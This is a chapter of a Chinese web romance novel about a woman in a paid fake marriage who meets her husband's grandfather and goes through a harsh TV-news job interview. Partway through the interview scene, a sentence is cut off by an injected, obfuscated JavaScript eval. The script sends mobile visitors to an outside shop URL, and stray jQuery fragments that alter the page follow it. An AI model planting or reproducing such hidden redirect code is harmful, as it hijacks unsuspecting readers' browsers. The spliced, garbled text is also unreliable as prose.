22. 22

作品:《只是和前男友领了证

    或许不该有温情的对话,她本来已经没那么紧张,现在被谢承牵着,心跳得更快。


    长廊的尽头是个亭子,两个老人在喝茶下棋,隔着五米远的距离,谢承俯身在黎杏耳边说:“左边穿中山装的是爷爷,右边那位你叫他徐叔。”


    黎杏听得认真,睫毛轻颤,一扭头,视线相撞,差点跟他高挺的鼻子碰上,脖子往后缩,“嗯”了声。


    两个老人早就看到。


    “爷爷,这是黎杏。”


    “爷爷好。”黎杏赶忙接话,“这是我的一点心意。”


    谢守祺没抬头,也没搭话,视线仍盯着棋盘。


    旁边的徐叔看了眼:“哟,这茶不便宜,同庆号的,一块能抵一辆x3了。”


    黎杏心里一咯噔,好贵,不能露馅。


    谢守祺开口:“奢侈腐败。”


    谢承平静道:“没有腐败。”


    黎杏不敢说话,掌心灼热,被握得紧。


    她直觉,谢承的爷爷不太喜欢自己。


    谢承面色不改,从外套口袋里拿出红本,放在石桌上:“这是我跟笑笑的结婚证。”


    黎杏心提到嗓子眼。


    谢守祺脸上有明显的病容,声音却硬朗:“我养你这么大,你都学会跟我玩先斩后奏。”


    徐叔目光时不时落在两个年轻人牵着的手上。


    这倒是件稀奇事。


    黎杏知道,自己得说话了:“爷爷,是我求他的,我无法接受他跟别的女人结婚。”


    得按照剧本演下去。


    “我不能没有他。”黎杏咬咬牙,视线只敢放在棋盘上,“没有他我就活不下去,我厚颜无耻,拿性命威胁他,但是爷爷,我会对谢承好的,我、我……”


    徐叔看着年轻的女孩脸都要红成番茄,啧啧道:“我说老谢,这不挺好,相亲相爱,家庭才能幸福美满。”


    谢守祺从棋盘抬起头,审视着两个年轻人,他看得出,这位小姐,就是几年前差点阻止谢承出国的人。


    “黎小姐,你以为你威胁他,他就会娶你?”


    谢承眉心微拢:“爷爷,证已经领了,答应你的事我有做到。”


    “做到?”谢守祺脸色严肃,试探,“那你们打算什么时候办婚礼?什么时候要孩子?我是没多少时间了,想抱个曾孙应该不过分吧?”


    徐叔执着白棋摆摆手:“你这说什么话,别咒自己。”


    黎杏没料到还有这茬,她准备了很多台词,比如自己的性格,未来的打算,就没想到老人家想要个孩子。


    但如果是真结婚,长辈考虑孩子也是正常的。


    她随机应变道:“爷爷,我有跟谢承谈备孕的事。”


    谢承:“……”


    “但是今年可能不行了,我工作上比较要紧。”黎杏开始给老人画饼,“所以爷爷您要保持好心情,珍重身体,我跟谢承都希望您能好好的。”


    她说得很真诚,眉眼无害,谢守祺一时分不出真假。


    索性,他晾着两个年轻人,视线回到棋盘上,大概是被扰了心情,黑棋落于下风。


    谢承对棋局并不关心,开口:“爷爷,如果没什么事,我带她先走了。”


    他孝顺、感恩,但在老人面前,他也从未轻松过。


    然而爷爷没有发话,他也不能带着黎杏直接离开。


    气氛凝滞。


    黑棋被白棋大军压境,谢守祺沉吟良久。


    “咳,”徐叔端起茶杯抿了一口,带着老友间熟稔的调侃,“老谢,长考出臭棋。要不,让你孙媳妇帮你瞧瞧?小姑娘好像看得懂。”


    谢守祺抬起眼,目光再次扫过黎杏。


    “你看得懂?”语气算不上好,更像是一种无处发泄的迁怒。


    黎杏像是被惊到的小鹿,猛地收回视线,脸颊泛红,连忙摆手:“不不不,爷爷,徐叔,我、我就是看个热闹,不太懂这个。”


    她本来是会的,但现在看出老人家非常要面子,还是不插这手。可以等之后,说因为看到爷爷下棋,所以特意去学了,这样更能讨老人家的喜欢,嘿嘿,黎杏觉得自己很聪明。


    “就知道你看不懂。”谢守祺说,“过几天我想去爬山,需要有人在身边。”


    这话暗示的意思很明显了。


    黎杏笑道:“爷爷,我跟谢承陪您去,我爬山可厉害了。”


    “我不喜欢有遗憾。”老人问谢承,“你记不记得,我还有哪座名山没去过?好像是黄山?”


    谢承说“是”:“行程我可以来安排。”


    “嗯,叫上小王,你这个朋友不错,他前几天来看我,说以后想在江城发展,我可以帮他打点人脉。”


    谢承明白了。


    “走吧,别在这里妨碍我下棋。”


    出了长廊,不在老人的视线内,黎杏才终于松了口气,不忘把手从谢承手心抽回来,都出了层汗。


    “我表现得怎么样?应该没有破绽吧?”


    “没有,演技和台词都很专业。”


    黎杏以为是在夸她,还有点骄傲:“拿钱办事,我当然要尽职尽责。”


    属于她的温度在手心散去,谢承问她:“床我下单了,一点五是不是有点小,够你睡?”


    “够,大了我睡不着。”黎杏顺口问道:“你昨晚怎么回来的?”


    谢承实话实说:“去找王曜拿手机,助理送我的。”


    “爷爷说的小王不会就是王曜吧?”


    那不是要露馅?


    “你放心,他不会说。”


    见完爷爷后,跟谢承的相处还算自然。


    主要是平日里,不管白天,还是晚上,也见不到面。


    下班后,他会去接她,到了家,各睡各的房间,有事基本上手机联系,很客气,甚至有几分夫妻之间相敬如宾的感觉。


    面试前几天,黎杏在沈之灵的推荐下,看了一部电视剧,最完美的离婚,看到写信片段,忍不住抹眼睛。


    乖乖叼着纸巾过来。


    她摸摸它的头,揉着纸巾,抬头,谢承从房间出来,系着衬衫袖口的纽扣。


    “你哭什么。”


    “看电视哭也不行?”


    谢承扫了眼屏幕,电视是她要买的,说房子太冷清了,得有点声音。


    聊天记录全是各种他转账,她收款,再给他甩上一句“谢谢~”


    他走过去:“坐到我外套上了。”


    黎杏一惊,把大腿压到的西装外套拿起来递给他:“不是故意的。”


    “没关系。”谢承在她身边坐下,对上她迷茫的眼神,“手机打开,开个亲密付。”


    “不用,多不好意思。”


    “不好意思?”


    谢承点开聊天记录,最新的报销,是她买的白衬衫和一条黑色半身裙,面试要穿的,再往上,是买给乖乖的宠物背带,比她衣服加起来都贵。


    他眼眸微眯:“你要真不好意思,怎么不给我买点东西?”


    “你又不缺。”黎杏抱怨道,“而且我明明给你买了一双袜子,你都穿上了。”


    “送的。”


    “……”


    黎杏心虚地抬了下眼:“我跟乖乖是真的。”


    言外之意很明显。


    谢承轻嗤一声:“放心,我还没兴趣当一条狗的爹。”


    黎杏撇嘴,猜测他开卡的原因:“我的消息烦到你了?”


    “你很有自知之明。”


    “……”


    黎杏脸都热了,她什么都不用做,不用给金主做饭,不用给金主暖床,她心里挺过不去,在谢承起身离开的时候,拽住挂在男人胳膊间的外套。


    “除了应对爷爷之外,你还有没有需要我帮你做的?”


    谢承眉目疏朗,心情似乎不错:“没有,顾好你自己。”


    江城广电大楼十层,《都市新闻》栏目所在的楼层。


    黎杏坐在小会议室外冰凉的座椅上,心跳一下又一下,敲在耳膜上。


    门开了,有人出来叫她:“下一位,黎杏。”


    会议室不大,长方形桌子对面坐着三个人,左边是新闻部的资深编导,头发花白,面色温和,右边是《都市新闻》的女主持人,中间的男人三十五岁左右,穿着polo领的棕色毛衣,戴着眼镜,手腕露出一只机械表。


    他没有看她,目光落在桌上的简历。


    “黎杏,江大新闻系?”年纪大的编导开口,“三分钟,先简单介绍一下自己,尤其是毕业后的经历。”


    黎杏坐直身体,声音清晰却有些紧绷:“各位老师好,我叫黎杏。毕业后这五年,我没有进入传统媒体机构,而是选择了一种更个人的方式去实践新闻理想……”


    中间的男人眉梢轻佻,听到“个人”时脸上露出某种讥讽的意味。


    黎杏预感不妙,接着往下说。


    老编导点了点头:“我们的节目,比如《都市新闻》是日播,节奏快,压力大,很多时候是在跟时间赛跑,对于没有太多经验的你来说,可能需要一个很艰难的适应过程。”


    “不是可能需要”。


    中间的男人开口,他的声音不高,甚至算得上平稳。


    目光从简历上移开,直直看向黎杏。


    “是大概率无法适应。”他修正道,“笔试第一,只能证明你运气不错,擅长考试。”


    他用手里的钢笔点了一下桌面:“但我们这里,每天处理的信息泥沙俱下,记者要在三小时内,或者更短的时间,从一堆混乱的线索里捞出核心事实,判断真伪,构建逻辑,最后做出一条能安全播出、同时还能抓住观众眼球的片子。”


    “黎小姐,而你,完全没有经验。”男人的话语更尖锐了,他身边的两位都敛住笑,“毕业后给自己人生打基础的五年,无所事事,白白浪费时间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204641|196245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,把诗和远方当作一种经验积累,幼稚、单纯,空白,你确定你能做新闻?”


    放在五年前,大学刚毕业,听到这话,黎杏生理性眼泪已经飙了出来。


    现在比较厉害,她可以做到眼泪打转再憋回去。


    对方明显带着主观个人情绪,黎杏不明白,她跟他都没有见过,无冤无仇。


    老编导咳了一声,压低声音:“秦渡,过了。”


    旁边的女主持人给黎杏投去同情的目光,赶忙救场:“黎杏,我注意到你简历了上交了一篇关于乡村教育的深度报道,发表在自媒体平台,能不能具体说说你采写的过程?”


    黎杏刚要开口,秦渡不耐烦道:“自媒体?全凭个人情绪输出的账号?拍几张破旧教室的照片,采访两个留守儿童,再配一段煽情文字,你所谓的采写,在这选题都过不了。”


    “秦老师,这篇报道的背后,是我一年的支教经历,不是走马观花。我整理了全校学生的家庭背景,走访周边三个乡镇,联系当地负责乡村教育扶贫的干部,在我跟同事的努力下,还是取得了不少成果。”


    黎杏指尖微微蜷缩,她想说些狠话,说他个人主观臆断过于严重,更不符合新闻人的品格。


    她忍住了。


    会议室里静了一瞬,老编导是很满意眼前的女孩,秦渡的语气更显刻薄:“支教一年,本质上是志愿服务,跟新闻工作的专业性无关,你能在山区给孩子上课,不代表能在突发新闻现场保持冷静。”


    他身体微微前倾,镜片上的光映着他眼底的轻蔑:“把支教当跳板,自媒体报道当镀金,自欺欺人的把戏在我这没用。”


    女主持人额头上都渗出汗了,她觉得秦渡很不对劲,对方是来面试的,还是个新人,他根本没必要这样打压和挑刺。


    黎杏深吸一口气,压下心头火,声音依旧温和:“秦老师,我实际上做的工作有很多,并不像你揣测的那样……”


    “揣测?”秦渡眼神凌厉,钢笔冷硬地按在桌上,“你那点所谓的经历,在真正的新闻战场里,连入门的资格都不够。面试就敢顶撞上司,以后是不是要对着领导指手画脚?”


    黎杏攥紧的手指缓缓松开,目光坦荡而坚定:“秦老师,您还不是我的上司。”


    老编导脸色一变,刚开开口打圆场,就被黎杏清晰的声音拦住:


    “我承认自己缺乏传统媒体的全职经验,您可以指出我的不足,也可以直接说我不符合岗位要求,这些我都欣然接受。”她掷地有声,“但面试是专业的双向评估,不是发泄个人情绪的场合,秦老师不了解事实就否定我的付出,这不是新闻人该有的客观公正。”


    “哎哎哎。”老编导连忙打断,“黎小姐,你不要介意,我们秦总监出了名的刁钻严格。”


    秦渡冷哼一声,对她的言论不屑一顾。


    黎杏感慨自己五年在外面见了不少人,否则要是刚毕业那会,被这样批评,大概哭着离开了。


    女主持人也说:“是这样,黎小姐,你的面试结束了,先回去等结果。”


    黎杏站起来,保持优雅的礼貌:“谢谢各位老师。”


    出了广电大楼,黎杏长舒一口气,在街边狠狠跺脚。


    她直觉大概是黄了,遇到这种面试官,也是触霉头。


    刚才的会议室里,老编导不明所以:“秦总监,你怎么对个小姑娘说话那么狠?”


    “她二十七了,又不是刚毕业,小在哪里?”


    “那也比你小不少,对新人,我们要多点耐心。”老编导说,“前面几个表现不如她的,也没见你这么刺,我还以为你们认识。”


    秦渡不置可否。


    晚上在酒吧,黎杏跟汤姐分享了面试经历。


    “我觉得你能成。”汤姐直觉,“否则人不会这么针对你。”


    黎杏耸了耸肩:“我看就是人坏。”


    不过结束面试,轻松不少。


    她想坐下来跟谢承吃顿饭。


    正是有理由开口的时候,发消息:


    面试结束了,要一起吃夜宵吗?


    删掉,重来:


    面试结束了,感谢你的报销,请你吃夜宵,有时间吗?


    嗯,这样看起来,比较有分寸感。


    合作关系,要保持距离。


    谢承:在公司加班,等会顺路过去接你。


    短而平淡的一句话,居然让她感到一种温暖。


    她对着酒吧的灯光晃了下神,眉头一皱。


    该死。


    对谢承的恋爱脑差点又发作了。


    长长记性!


    跟他谈恋爱,除了床上是爽的,很多时候,简直就是受折磨。


    “小杏?”


    汤姐看她出神,叫了她一声。


    “想什么呢?”


    “想睡觉。”


    不对。


    是想跟谢承睡觉。